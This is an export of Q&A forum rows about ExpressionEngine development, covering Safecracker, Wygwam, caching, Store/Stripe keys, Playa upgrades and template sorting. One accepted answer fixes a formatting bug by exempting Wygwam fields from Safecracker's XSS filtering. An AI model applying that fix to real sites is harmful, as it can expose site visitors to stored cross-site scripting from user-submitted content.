  <row Id="11259" PostTypeId="2" ParentId="11258" CreationDate="2013-06-14T18:12:23.043" Score="0" Body="&lt;p&gt;There's this EE1 plugin &lt;a href=&quot;http://zenbustudio.com/software/any_segment&quot; rel=&quot;nofollow&quot;&gt;Any Segment&lt;/a&gt; that should do what you want. Right from the docs&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {exp:any_segment equals=&quot;projects&quot;}} ... Show content {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In EE2 i would use {last_segment} since typically your page_uri would be the last segment.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-06-14T18:12:23.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11260" PostTypeId="1" AcceptedAnswerId="11261" CreationDate="2013-06-14T18:43:43.330" Score="0" ViewCount="90" Body="&lt;p&gt;EE 2.6.1&#xA;WYGWAM 2.7.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Wygwam field. Inline image tags are not being written properly when entered through a Safecracker form. Inline image tags ARE being written properly when entered through the EE CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the control panel, an img tag is written thusly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img alt=”” data-cke-saved-src=“something.jpg” src=“something.jpg” style=“width: 110px; height: 150px;”&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And from Safecracker, it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img alt=”” data-cke-saved-src=“something.jpg” src=“something.jpg” 110px;=”” height:=”” 150px;”=”“&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The style attribute is not encoding properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andris over at P&amp;amp;T points us to line 1302 in safecracker_lib.php and suspects “the Security library is somehow deciding that style attribute is an XSS attack and is handling it rather poorly”&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I can be doing to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ll gladly accept a patch if anyone can help. This is kind of a big deal. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I see a few answers that mention editing CKEditor config files. Ugh... really?)&lt;/p&gt;&#xA;" OwnerUserId="631" LastActivityDate="2013-06-14T18:49:21.700" Title="Safecracker Handling Wygwam Style Attributes Poorly" Tags="|safecracker|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11261" PostTypeId="2" ParentId="11260" CreationDate="2013-06-14T18:49:21.700" Score="1" Body="&lt;p&gt;In safecracker_lib.php around line 2625, there's a blank array being defined called $this-&gt;skip_xss_fieldtypes. Add wygwam to that array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;skip_xss_fieldtypes = array('wygwam');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-06-14T18:49:21.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11263" PostTypeId="1" AcceptedAnswerId="11266" CreationDate="2013-06-14T19:34:51.683" Score="1" ViewCount="403" Body="&lt;p&gt;I need to allow custom sorting of a channel entries loop, so I'm currently achieving this by using segments and URLs like this: mywebsite.com/products/sort/date/asc and mywebsite.com/products/sort/price/asc with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;  {exp:channel:entries channel=&quot;product&quot; orderby=&quot;{segment_3}&quot; sort=&quot;{segment_4}&quot; pagination=&quot;bottom&quot;}&#xA;    &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;  {/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine for ordering by date and other custom fields, but the downside is that the URLs can get a bit ugly as I need to add the custom field short name to the URL, e.g. mywebsite.com/products/sort/cf_product_ugly_custom_field/asc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My workaround has been to name the custom fields I wish to sort by from my usual format of {cf_product_price} to {price}, but this doesn't feel like an elegant solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone think of a more elegant way of doing custom sorting, without having to have the custom field in display in the URL like this? Thanks for any advice.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-06-14T21:12:25.863" Title="Custom sorting of channel entries" Tags="|channel-entries|orderby|sort|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11265" PostTypeId="1" CreationDate="2013-06-14T20:20:52.890" Score="0" ViewCount="223" Body="&lt;p&gt;This is a strange one, so I'll have to give a little history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To allow ad-hoc image galleries to be placed within the body content of pages on the site I'm using a matrix that holds &quot;galleries&quot; while using an Assets field set to &quot;multiple&quot; for the images in each gallery. A CopeePastee field is used to allow the content editor to easily copy the {gallery_x} tag so they can place it wherever they need to within the main body content field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The templates use the template partials technique. My view-model template renders the gallery content into the gallery_{row_count} stash variables with the type=&quot;snippet&quot; parameter. On the view template, I use parse_vars=&quot;yes&quot; to render those galleries within the body content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has been working fine since launch. Today I noticed a live page that had {gallery_1}, {gallery_2} tags, etc displayed as a tag instead of rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I immediately thought something was wrong with the Cache so I flushed the cache entry for this specific page. When logged into the CP, the templates do not run through CE Cache and this page rendered fine, although slow due to the 185 queries required to render this many (7) galleries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hit the page via a Chrome Incognito browsing session and the galleries display as expected. When I hit refresh to get the newly cached version (and to check speed) it's back to showing the unrendered gallery_x tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Memory utilization for this page is under half of what's available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other pages in the site that also use this identical template and identical gallery feature work fine as well. With CE Cache disabled, it renders fine too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Gists&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gist.github.com/iso100/5796428&quot; rel=&quot;nofollow&quot;&gt;detail template view/model&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gist.github.com/iso100/5796450&quot; rel=&quot;nofollow&quot;&gt;detail template wrapper&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Example URLs:&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://smb-staging.pb.com/smb/qr-codes/gallery/mobile-web-page-design-examples&quot; rel=&quot;nofollow&quot;&gt;page that uses this template and works fine&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://smb-staging.pb.com/smb/qr-codes/gallery/custom-qr-prints&quot; rel=&quot;nofollow&quot;&gt;page not working&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Versions&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE: 2.5.3&lt;/li&gt;&#xA;&lt;li&gt;CE Cache: 1.9.5&lt;/li&gt;&#xA;&lt;li&gt;Matrix: 2.5.5&lt;/li&gt;&#xA;&lt;li&gt;Assets: 2.0.4&lt;/li&gt;&#xA;&lt;li&gt;Stash: 2.3.9 beta&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2" LastEditorUserId="2" LastEditDate="2013-06-17T12:22:27.673" LastActivityDate="2013-06-19T18:52:24.297" Title="Stash Snippets not rendering within CE Cache for some content" Tags="|assets|stash|ce-cache|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11266" PostTypeId="2" ParentId="11263" CreationDate="2013-06-14T21:12:25.863" Score="2" Body="&lt;p&gt;Stephen, simple conditionals are parsed before modules tags. Because of this, you can put them inside your opening channel:entries variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put more custom fields on this example to make it more clear.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;  {exp:channel:entries channel=&quot;product&quot;&#xA;    {if segment_3 == &quot;price&quot;}&#xA;    orderby=&quot;{cf_product_price}&quot;&#xA;    {/if}&#xA;    {if segment_3 == &quot;brand&quot;}&#xA;    orderby=&quot;{cf_product_brand}&quot;&#xA;    {/if}&#xA;    {if segment_3 == &quot;foo&quot;}&#xA;    orderby=&quot;{cf_product_foo}&quot;&#xA;    {/if}&#xA;    {if segment_3 != &quot;price&quot;}{if segment_3 != &quot;brand&quot;}{if segment_3 != &quot;foo&quot;}&#xA;    orderby=&quot;{segment_3}&quot;&#xA;    {/if}{/if}{/if}&#xA;    sort=&quot;{segment_4}&quot;&#xA;    pagination=&quot;bottom&quot;&#xA;  }&#xA;    &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;  {/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-06-14T21:12:25.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11267" PostTypeId="1" CreationDate="2013-06-14T21:13:04.517" Score="1" ViewCount="34" Body="&lt;p&gt;I have a customer requirement where they're asking that EE automatically generate a blog post when a post in another channel is created (e.g., we post a product and there's a blog post about it). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from doing it in some funky way where I combine the channel but separate out the posts via category, I can't think of a really streamlined way to do it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing it could be done using ACT or something, but I'm not sure the best way to approach this. Any tips to get me headed in the right direction would be helpful!&lt;/p&gt;&#xA;" OwnerUserId="1662" LastActivityDate="2013-06-14T21:40:52.850" Title="Workflow: A post in one channel automatically creates a post in another" Tags="|channel-entries|workflow|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11268" PostTypeId="2" ParentId="11154" CreationDate="2013-06-14T21:29:22.450" Score="2" Body="&lt;p&gt;This is not possible in Store, if you are limiting the Stock level of an item you will only be able to add the in stock amount of items to the cart.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-06-14T21:29:22.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11269" PostTypeId="2" ParentId="11257" CreationDate="2013-06-14T21:32:00.853" Score="0" Body="&lt;p&gt;Currently there is not a publicly released add-on that allows you to create anything like that. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-06-14T21:32:00.853" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11270" PostTypeId="2" ParentId="11267" CreationDate="2013-06-14T21:40:52.850" Score="2" Body="&lt;p&gt;Sure - use an extension which fires on the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/api/channel_entries/#entry-submission-end&quot; rel=&quot;nofollow&quot;&gt;entry_submission_end hook&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check that &lt;code&gt;$meta['channel_id']&lt;/code&gt; matches your Product channel, then take the data from &lt;code&gt;$meta&lt;/code&gt; and &lt;code&gt;$data&lt;/code&gt; to create a new entry (just an array of data) for your Blog channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, pass that array to the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/api/api_channel_entries.html#save-entry&quot; rel=&quot;nofollow&quot;&gt;Channel Entries API&lt;/a&gt; and you should be good.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-14T21:40:52.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11271" PostTypeId="2" ParentId="11249" CreationDate="2013-06-15T00:06:41.477" Score="1" Body="&lt;p&gt;While this error looks somewhat generic, in this case the cause appears to have been a lack of secure connection (HTTPS) or/and some limitation from running on a local environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that I've got the site on a staging server with an SSL certificate, this error no longer appears.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Days later this error appeared again after I added shipping options. Apparently, because I had not yet entered the API to connect to UPS and generate a price, the form was incomplete and EE/Store generated the XML not valid error.&lt;/p&gt;&#xA;" OwnerUserId="359" LastEditorUserId="359" LastEditDate="2013-06-18T18:24:04.690" LastActivityDate="2013-06-18T18:24:04.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11272" PostTypeId="1" CreationDate="2013-06-15T00:44:09.713" Score="1" ViewCount="126" Body="&lt;p&gt;I have an editor configuration set up using emailProtection. emailProtection is set to Encode. If the user adds an email link in the WYSIWYG editor, when it is rendered in the page, it has the original link and then that one is wrapped in another obfuscated one. I would have expected it to replace the original one with the obfuscated one. Am I missing something in the settings? Here is an example of the output. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;javascript:void(location.href='mailto:'+String.fromCharCode(106,122,105,101,103,108,101,114,64,116,101,97,109,99,102,97,46,111,114,103))&quot;&amp;gt;&amp;lt;a href=&quot;mailto:me@here.org&quot;&amp;gt;me@here.org&amp;lt;/a&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1663" LastActivityDate="2013-06-15T00:44:09.713" Title="WYGWAM double wrapping email links when emailProtection is set to encode" Tags="|wygwam|encode|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11273" PostTypeId="1" AcceptedAnswerId="11276" CreationDate="2013-06-15T00:51:40.830" Score="0" ViewCount="19867" Body="&lt;p&gt;I've checked the API several times and I'm sure the API code is correct, so I assume the problem is in &lt;a href=&quot;https://phorus.com/dev/index.php/store_example/checkout3&quot; rel=&quot;nofollow&quot;&gt;the code on this page&lt;/a&gt;. I installed the Store plugin and I'm trying to set up a Stripe payment gateway using the Store checkout3 template as a starting point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In reviewing the docs, I see differences between the Store documentation regarding Stripe and the Stripe documentation itself. Since the Store docs suggestions checking the Stripe docs, I'm not sure which code to use when there is a discrepancy between the two sets of documentation. I don't know javascript yet so I have been testing parts of the Stripe code in place of the Store code, attempting to find a solution through trial and error. So far, nothing has worked. It's possible I just made an basic mistake. Help would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the latest version of both EE and Store.&lt;/p&gt;&#xA;" OwnerUserId="359" LastEditorUserId="359" LastEditDate="2013-06-15T01:52:29.200" LastActivityDate="2014-08-21T13:44:18.263" Title="&quot;Invalid API Key provided&quot; error with Store and Stripe" Tags="|expresso-store|stripe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11275" PostTypeId="1" CreationDate="2013-06-15T06:26:45.977" Score="0" ViewCount="196" Body="&lt;p&gt;I am working on a site that had assets installed and working.  Then one of the other developers installed freeform and added .htaccess rules that removed the index.php and forced us to add www to the url.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the upload directories in Content &gt; File Upload Preferences and tried to run the index updates and refresh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get no loading bar, no spinning button, no thumbnails and the upload file button is inactive.  I checked the upload directory directory permissions and those are correct. I also tested hiding each line and then each group of lines from the .htaccess file to see if that would effect it.  No luck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using EE 2.6.1 and Assets 2.1.3.  Any help would be greatly appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using &lt;/p&gt;&#xA;" OwnerUserId="804" LastActivityDate="2013-06-15T06:26:45.977" Title="Assets not uploading files or building indexes." Tags="|assets|pixelandtonic|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11276" PostTypeId="2" ParentId="11273" CreationDate="2013-06-15T15:50:49.937" Score="1" Body="&lt;p&gt;Stripe has API keys for both Test Mode and Live Mode. Make sure the mode of the public API key used in your Store template matches the mode of the private key pasted into your Store settings for Stripe.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="359" LastEditDate="2013-06-16T06:02:00.373" LastActivityDate="2013-06-16T06:02:00.373" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11278" PostTypeId="1" AcceptedAnswerId="11297" CreationDate="2013-06-15T22:09:03.763" Score="0" ViewCount="135" Body="&lt;p&gt;Where before (in EE1) I had this in a template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{assign_variable:current_weblog=&quot;news&quot;}&#xA;...&#xA;{exp:weblog:entries ... }&#xA;    {reverse_related_entries weblog=&quot;{current_weblog}&quot;}&#xA;    ...&#xA;    {/reverse_related_entries}&#xA;{/exp:weblog:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After upgrading to EE 2.6.1 and installing Playa 4.4.3, I now have this (note the opening &lt;code&gt;{parents}&lt;/code&gt; tag):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:current_channel=&quot;news&quot;}&#xA;...&#xA;{exp:channel:entries ... }&#xA;    {parents }&quot;}&#xA;    ...&#xA;    {/parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven't actually tested the template yet, but something tells me it's not gonna work... ;) I'm guessing that having the &lt;code&gt;weblog=&quot;{current_weblog}&quot;&lt;/code&gt; use an assigned variable (i.e. a curly-brace tag) rather than plain text is what tripped the converter up. In another template where the weblog was specified in plain text, this issue did not happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas, P&amp;amp;T? Thankfully, this is a trial upgrade on a &lt;em&gt;copy&lt;/em&gt; of a live site, so it's not critically urgent. :)&lt;/p&gt;&#xA;" OwnerUserId="544" LastActivityDate="2013-06-17T13:01:43.170" Title="EE1 -&gt; EE2 Upgrade; Playa template tag conversion looks like it failed" Tags="|ee2|playa|ee1|upgrade|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11279" PostTypeId="1" AcceptedAnswerId="11282" CreationDate="2013-06-16T01:53:07.250" Score="1" ViewCount="98" Body="&lt;p&gt;I'm building a church site, and I want to create a &quot;media&quot; channel with a list of all the messages.  On the media index page there would be a list of images, some associated with a sermon series, others with just an individual message.  When you click on one of the images for a sermon series, it would go to a list page of all the sermons within that series.  I'm unsure of how to code the template and the channel entry fields to make this happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My initial thought was just put a field in the entry where they would enter the sermon series name, but that means they'd have to enter it in the same way each time for that series, otherwise the sermon wouldn't show up under the list of sermons.  Then I thought maybe there could be a drop down menu with the sermon series name in it, and the admin would just select that.  Then I imagined 5 years down the road when there are hundreds of items in a drop-down menu...that's obviously not ideal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas on an effective way to do this?  Any input you can provide would be greatly appreciated.  &lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2013-06-17T12:11:10.630" Title="How should I code this?" Tags="|channel-entries|custom-fields|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11280" PostTypeId="2" ParentId="11257" CreationDate="2013-06-16T03:15:00.967" Score="3" Body="&lt;p&gt;I built Pointee a while back, should cover a fair amount of what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/pointee&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/pointee&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking forward to the pull requests :)&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2013-06-16T03:15:00.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11281" PostTypeId="2" ParentId="10302" CreationDate="2013-06-16T09:28:53.233" Score="1" Body="&lt;p&gt;Playa (and EE relationships) work in that they &lt;em&gt;link&lt;/em&gt; to an entry rather than &lt;em&gt;pull in from&lt;/em&gt; that entry. Obviously you don't want to have duplicate data in your system and a relationship prevents that whilst keeping context. What you describe should be possible but using Playa to establish the relationship and then creating a new column in your Matrix field entitled 'Status' and using a select box field (I'd recommend &lt;a href=&quot;http://devot-ee.com/add-ons/pt-field-pack&quot; rel=&quot;nofollow&quot;&gt;P&amp;amp;T Field Pack&lt;/a&gt;) to provide your own status options per entry. &lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-06-16T09:28:53.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11282" PostTypeId="2" ParentId="11279" CreationDate="2013-06-16T15:36:43.153" Score="2" Body="&lt;p&gt;One solution would be to use a relationship field for the sermon series, and then set &quot;Allow multiple relations?&quot; to &quot;Yes&quot; (Channel Fields &gt; your field group &gt; Field Type &quot;Relationships&quot;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you leave it at a single choice then it will be a drop down list like you want to avoid, but multiple choices gives you a search box in the field. You could then either train or notate to only pick one, and you might find that having the ability to relate a sermon entry to more than one series becomes useful at some point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[for EE versions 2.6.0+ I think]&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-06-16T15:36:43.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11283" PostTypeId="1" CreationDate="2013-06-16T15:39:43.910" Score="1" ViewCount="78" Body="&lt;p&gt;I'm using Structure in a new EE site and I'm wondering, what's the best way to use a different template when on a category page? For example, I have a section called &quot;Watch&quot; located here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/watch/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When clicking on a category (film genre) you land here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/watch/genre/comedy&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when clicking on a film you land here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/watch/film/superman&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All three of these pages have different templates. I have the &lt;code&gt;/watch/&lt;/code&gt; index template worked out, as well as the detail template for &lt;code&gt;/watch/film/superman&lt;/code&gt;. It's the category template for &lt;code&gt;/watch/genre/comedy&lt;/code&gt; that I'm unclear about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will I need to tackle this with conditional &lt;code&gt;{if …}{/if}&lt;/code&gt; statements in a single template, or is there a smarter way?&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-06-18T14:33:09.563" Title="When using Structure, how do I use a different template for category pages?" Tags="|templates|categories|structure|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11285" PostTypeId="1" AcceptedAnswerId="11289" CreationDate="2013-06-16T19:06:13.283" Score="0" ViewCount="69" Body="&lt;p&gt;I'm working on a film site and need to log some custom information about a user's activity. On the site you can click a play button to start watching a film. (This link just takes you to Amazon Instant.) When a logged-in user clicks to start watching the film, I need to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set a &quot;watching&quot; flag in their account denoting that they started watching &lt;code&gt;film_id&lt;/code&gt; at &lt;code&gt;2:57PM&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Next time they load a page on the site I need to check to see if they're &quot;watching&quot; any films;&lt;/li&gt;&#xA;&lt;li&gt;If they are &quot;watching&quot; a film I need to display a modal that asks them to rate the film.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I know EE allows you to run queries as you see fit. Wondering if there is a recommended way to log and retrieve data that doesn't necessarily exist in the EE interface?&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-06-17T03:08:45.610" Title="Logging custom data to the DB" Tags="|database|mysql|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11286" PostTypeId="2" ParentId="11285" CreationDate="2013-06-16T21:19:57.787" Score="1" Body="&lt;p&gt;You might save yourself quite a bit of trouble by adding the watching flag as a custom field in their member account and retrieving it through the appropriate tag. On the other hand, there's nothing inherently wrong with doing it the way you have specced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Membership Tags (EE Docs):&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/member/#custom-profile-data-tag&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/member/#custom-profile-data-tag&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="681" LastActivityDate="2013-06-16T21:19:57.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11287" PostTypeId="2" ParentId="11256" CreationDate="2013-06-16T23:22:12.887" Score="1" Body="&lt;p&gt;Make sure your file upload directory paths are correct and run 'update indexes' from within the Assets module page.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-06-16T23:22:12.887" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11288" PostTypeId="1" CreationDate="2013-06-17T00:28:16.777" Score="1" ViewCount="148" Body="&lt;p&gt;Using EE v2.6.1 Safecracker and P&amp;amp;T Field Pack v2.0.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P&amp;amp;T Field Pack dropdown variables with value or label tags don't work inside  Safecracker form tag pairs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel=&quot;channel_name&quot; entry_id=&quot;{entry_id}&quot;}&#xA;    1: {field:my_field}&#xA;    2: {my_field}&#xA;    3: {my_field:value}&#xA;    4: {my_field:label}&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Returns:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1: a select input conatining all options of my_field with current value selected&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2: field's current value&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3: NOTHING&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4: NOTHING&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It used to be working on EE v2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help?&lt;/p&gt;&#xA;" OwnerUserId="1180" LastEditorUserId="1180" LastEditDate="2013-06-19T12:15:24.083" LastActivityDate="2013-06-19T12:15:24.083" Title="Problem with P&amp;T Field Pack variables inside Safecracker" Tags="|safecracker|field-pack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11289" PostTypeId="2" ParentId="11285" CreationDate="2013-06-17T03:08:45.610" Score="0" Body="&lt;p&gt;I would suggest you to create an extension/module hooked with &quot;sessions_start&quot;. With the extension installation create a database table having following columns:&#xA;- film_id (integer)&#xA;- Member ID (integer)&#xA;- start_time (datetime: UNIX timestamp)&#xA;- film_length (in seconds)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you need to do following process:&#xA;- When member started watching that film (i.e clicked on play button), insert new record in this database table &#xA;- On page refresh, check the current time &gt; start_time + film_length. remove that record accordingly. This would be checked if page is refreshed by any other member. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may be case if your member has watched the film but still didn't refresh the page. In this case, this comparison will process.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Now with the SQL you can fetch which member watching which film. For it, you can create module tags also. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I hope, this would help you. &lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-06-17T03:08:45.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11290" PostTypeId="2" ParentId="10729" CreationDate="2013-06-17T03:45:21.470" Score="3" Body="&lt;p&gt;I just came across this issue too and it turns out while the EE filemanager doesn't mind a missing trailing slash on the server path, Assets does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure your upload directory server path &lt;em&gt;has&lt;/em&gt; a trailing slash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Resolved the issue for me.&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2013-06-17T03:45:21.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11291" PostTypeId="1" CreationDate="2013-06-17T09:07:32.390" Score="1" ViewCount="126" Body="&lt;p&gt;Just out of curiosity, is it possible to have a native comment-form return json instead of redirecting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Steven&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-06-17T12:50:42.657" Title="Comment form json?" Tags="|jquery|ajax|comments|json|" AnswerCount="1" CommentCount="1" ClosedDate="2013-07-26T18:50:43.260" ContentLicense="CC BY-SA 3.0" />
